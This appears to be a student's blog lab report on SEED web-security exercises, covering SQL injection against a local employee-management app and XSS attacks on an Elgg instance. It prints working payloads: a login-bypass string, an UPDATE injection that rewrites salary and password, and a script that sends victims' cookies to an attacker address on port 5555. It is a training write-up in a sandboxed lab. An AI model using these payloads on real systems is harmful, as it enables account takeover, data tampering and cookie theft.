20211921 李楚涵 10

知识点
1、 Web应用安全威胁
(1)针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
(2)针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。
(3)系统层安全威胁:Web站点的宿主操作系统。
(4)Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。
(5)Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容。
2、Web应用攻击路线
(1)Web应用信息收集
(2)攻击Web服务器软件
(3)攻击Web应用程序
(4)攻击Web数据内容
(5)本地攻击
3、攻击Web应用程序
(1)Web应用程序的不安全性
Web应用程序编码质量和测试均有限: 安全最薄弱环节。
Web应用的复杂性和灵活性进一步恶化了其安全性。
(2)Web应用程序安全威胁类型
针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
命令执行攻击:在web站点执行远程命令的攻击手段。
信息暴露:获取web站点具体系统信息的攻击手段。
逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。
4、SQL注入攻击原理
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
1)首先登录 MySQL 数据库,输入mysql -u root -pseedubuntu

2)使用系统创建好的 Users 数据库,输入use Users,然后输入show tables;,不能忘了分好

3)下面我们使用WHERE子句指令select * from credential where Name='Alice';

4)使用 SEED 访问已经搭建好的 Web 页面:www.SEEDLabSQLInjection.com

5)使用快捷键ctrl+U查看该页面源码,点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验

6)在text 中输入vim/var/www/SQLInjection/unsafe_home.php,找到核心的SQL语句,其中where部分存在可以进行注入攻击的漏洞

绕过密码校验,直接进入Admin用户页面。测试输入用户名为admin'#,密码为空:

7)查看Alice的id,是10000

首先利用前面的漏洞,用Alice' #登录,可以看到对应的信息

点击页面上方的Edit Profile进入更新信息页面

在NickName输入',salary='200'where eid='10000'#

8)从前面的代码可以知道,密码是hash过的,所以我们需要先生成一个hash。这里选择了密码为123456,然后输入echo -n '123456'|shalsum

9)输入构造好的语句,修改Password字段。然后登录,可以成功登录。

二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
1)www.xsslabelgg.com中已有的账户信息【Alice:seedalice】【Boby:seedboby】打开www.xsslabelgg.com,并以Alice身份登录,点击alice的edit profile


2)点击Edit profile,接着在下面的Brief description文本框输入以下语句:<script> alert(document.cookie);</script>,点击Save保存,页面弹出如下的提示框,点击Save保存

3)从Boby的页面弹进入Alice的页面时弹出出如下的提示框

4)在Alice的个人页面的Brief description中插入XSS攻击代码。
5)点击save之后,可以看到这个页面。

6)窃取受害者的cookie。
使用 JS 脚本动态地在页面添加一个标签,同时在标签的src属性中嵌入攻击代码,其中本机 192.168.200.3 充当攻击者,JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,则可打印出收到的内容:
<script>document.write('<img src=http://192.168.200.3:5555?c=' + escape(document.cookie) + ' >');</script>


7)成为受害者的朋友
登录用户为 Alice,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby,使用快捷键ctrl+shift+E打开火狐浏览器开发者模式中的 Network 页面,然后点击左侧的Add friend,添加 Boby 为好友

8)可以看到此时浏览器发送的 POST 请求的地址

9)可以构造下面的脚本,用于添加其他好友

10)将脚本放在 Alice 的About me文本框

11)登录 Boby 访问 Alice 主页,返回 Boby 主页,看到已经成功添加 Alice 为好友。

12)修改受害者信息
首先看看加朋友都需要干什么

在进入Edit profile页面后,点击Save后,可以看到具体的 Network 请求信息

13)接下来以Boby身份登录然后访问Alice的主页。

编写XSS蠕虫,我们将下面的程序放在Alice的about me中。

保存之后显示如下:

用 Boby 访问 Alice,然后返回 Boby,则 Boby 被感染

三、总结与反思
本次实验理解起来不难,知识点也清晰,学习了web攻击的基本知识。

posted @ 2022-05-19 16:53  LWE1225826  阅读(7)  评论(0编辑  收藏  举报